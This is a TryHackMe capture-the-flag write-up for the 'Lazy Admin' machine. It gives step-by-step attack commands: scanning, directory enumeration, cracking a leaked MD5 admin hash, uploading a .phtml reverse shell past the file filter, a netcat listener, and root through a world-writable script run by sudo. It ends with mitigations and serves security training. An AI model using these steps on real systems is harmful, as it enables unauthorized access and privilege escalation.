Lazy Admin
Exploit SweetRice CMS vulnerabilities, crack weak passwords, upload a web shell, and escalate privileges through sudo misconfiguration.
Lazy Admin - TryHackMe Writeup
Lazy Admin is an easy-difficulty CTF machine that demonstrates the risks of poor system administration practices, weak passwords, and misconfigured sudo permissions.
Difficulty: Easy ⭐
Operating System: Linux (Ubuntu 16.04)
Themes: CMS Exploitation, Password Cracking, File Upload Vulnerabilities, Sudo Privilege Escalation
Objectives
- Enumerate web services and discover SweetRice CMS
- Crack weak administrator credentials
- Exploit file upload functionality for initial access
- Escalate privileges through sudo misconfiguration
- Capture user and root flags
Reconnaissance
Nmap Scan
Started with a comprehensive port scan to identify attack surfaces:
1
nmap -p- -sCV -T4 10.10.112.250
Results:
1
2
3
4
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Key Findings:
- Port 22: SSH service (potential for credential reuse)
- Port 80: Apache web server (primary attack vector)
Web Enumeration
Initial Discovery
The default Apache page didn’t reveal much, so directory enumeration was necessary:
Directory Enumeration with Gobuster
1
gobuster dir --url http://10.10.112.250 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
Primary Discovery: /content directory
SweetRice CMS Identification
The /content directory revealed a SweetRice CMS installation. Further enumeration uncovered critical paths:
1
gobuster dir --url http://10.10.112.250/content -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
Key Directories Found:
/content/inc- Contains configuration and backup files/content/as- Admin login panel/content/attachment- File upload directory
Critical Information Disclosure
In the /content/inc directory, discovered a MySQL backup file containing administrator credentials:
Extracted Credentials:
1
2
Username: manager
Password Hash (MD5): 42f749ade7f9e195bf475f37a44cafcb
Password Cracking
1
john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Credentials Found:
- Username:
manager - Password:
Password123
Admin Panel Access
Accessed the login panel at /content/as:
Successfully logged in with discovered credentials.
Initial Access
File Upload Vulnerability
Found the Media Access section in the admin panel, allowing file uploads:
Bypassing File Upload Restrictions
The system rejected .php files but accepted .phtml extensions. Used PentestMonkey’s PHP reverse shell with modification:
- Modify reverse shell (update IP and port)
- Save as
.phtmlextension - Upload via Media Access
Shell Access Obtained
1
nc -nlvp 9090
Shell Established:
1
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Shell Upgrade
1
python -c 'import pty; pty.spawn("/bin/bash")'
User Flag Capture
1
2
www-data@THM-Chal:/home/itguy$ cat user.txt
THM{63e5bce927..............}
Privilege Escalation
Sudo Privilege Enumeration
1
sudo -l
Critical Finding:
1
2
User www-data may run the following commands on THM-Chal:
(ALL) NOPASSWD: /usr/bin/perl /home/itguy/backup.pl
Backup Script Analysis
Examined the backup script to understand its functionality:
1
cat /home/itguy/backup.pl
Script Contents:
1
2
3
#!/usr/bin/perl
system("sh", "/etc/copy.sh");
File Permission Vulnerability
Checked permissions on the executed script:
1
ls -la /etc/copy.sh
Output:
1
-rw-r--rwx 1 root root 81 Nov 29 2019 /etc/copy.sh
Vulnerability: The copy.sh script is world-writable (rwx for others).
Exploitation Strategy
- Replace malicious content:
1
echo "/bin/bash" > /etc/copy.sh
- Execute with sudo privileges:
1
sudo /usr/bin/perl /home/itguy/backup.pl
Root Access Obtained
1
2
root@THM-Chal:/home/itguy# whoami
root
Root Flag Capture
1
2
root@THM-Chal:~# cat root.txt
THM{6637f41d0177b6f37cb2........f}
Key Takeaways
Attack Path Summary:
1
2
3
4
Port Scanning → Directory Enumeration → CMS Discovery →
Credential Extraction → Password Cracking → Admin Panel Access →
File Upload Bypass → Reverse Shell → Sudo Privilege Enumeration →
Script Analysis → File Permission Exploitation → Root Access
Vulnerabilities Exploited:
- Information Disclosure - Database backup with credentials in web directory
- Weak Password - Crackable MD5 hash (
Password123) - Insecure File Upload - Insufficient file extension filtering
- Sudo Misconfiguration - Unrestricted sudo access to vulnerable script
- Insecure File Permissions - World-writable system script
Mitigation Strategies:
- For CMS Security:
- Regular updates and patching
- Secure credential storage (hashed with salt)
- Restrict access to backup files
- Input validation for file uploads
- For Linux Security:
- Principle of least privilege for sudo access
- Regular audit of sudo permissions
- Secure file permissions (avoid world-writable system files)
- Regular security updates
- For Password Security:
- Strong password policies
- Use modern hashing algorithms (bcrypt, Argon2)
- Regular password rotation
- Multi-factor authentication where possible
Tools Used:
- Nmap - Port scanning and service enumeration
- Gobuster - Web directory enumeration
- JohnTheRipper - Password cracking
- Netcat - Reverse shell handling
- Sudo - Privilege escalation vector
Find me online:
• TryHackMe: t4t4r1s
• LinkedIn: Mustafa Altayeb
• X: @mustafa_altayeb





